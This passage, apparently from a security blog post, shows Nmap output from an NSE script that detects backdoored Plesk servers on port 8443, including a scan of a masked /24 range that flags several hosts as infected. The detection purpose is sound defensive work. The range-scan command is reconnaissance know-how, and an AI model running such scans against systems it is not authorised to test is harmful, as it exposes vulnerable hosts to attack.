1025/tcp filtered NFS-or-IIS
2000/tcp filtered callbook
3306/tcp open     mysql
8443/tcp open     https-alt
|_ http-plesk-backdoor: PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds

and scanning a larger range,

root@host:~# nmap  --script http-plesk-backdoor xxx.xxx.193.0/24 -p 8443
--snip--
Interesting ports on srv1.someserver.com (xxx.xxx.193.61):
PORT     STATE SERVICE
8443/tcp open  https-alt

Interesting ports on srv2.someserver.com (xxx.xxx.193.62):
PORT     STATE SERVICE
8443/tcp open  https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Interesting ports on srv3.someserver.com (xxx.xxx.193.63):
PORT     STATE SERVICE
8443/tcp open  https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/

Interesting ports on srv4.someserver.com (xxx.xxx.193.64):
PORT     STATE SERVICE
8443/tcp open  https-alt
|_ http-plesk-backdoor: PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/
--snip--

 The script can be found here, http://chaos.deventum.com/research/nse/http-plesk-backdoor.nse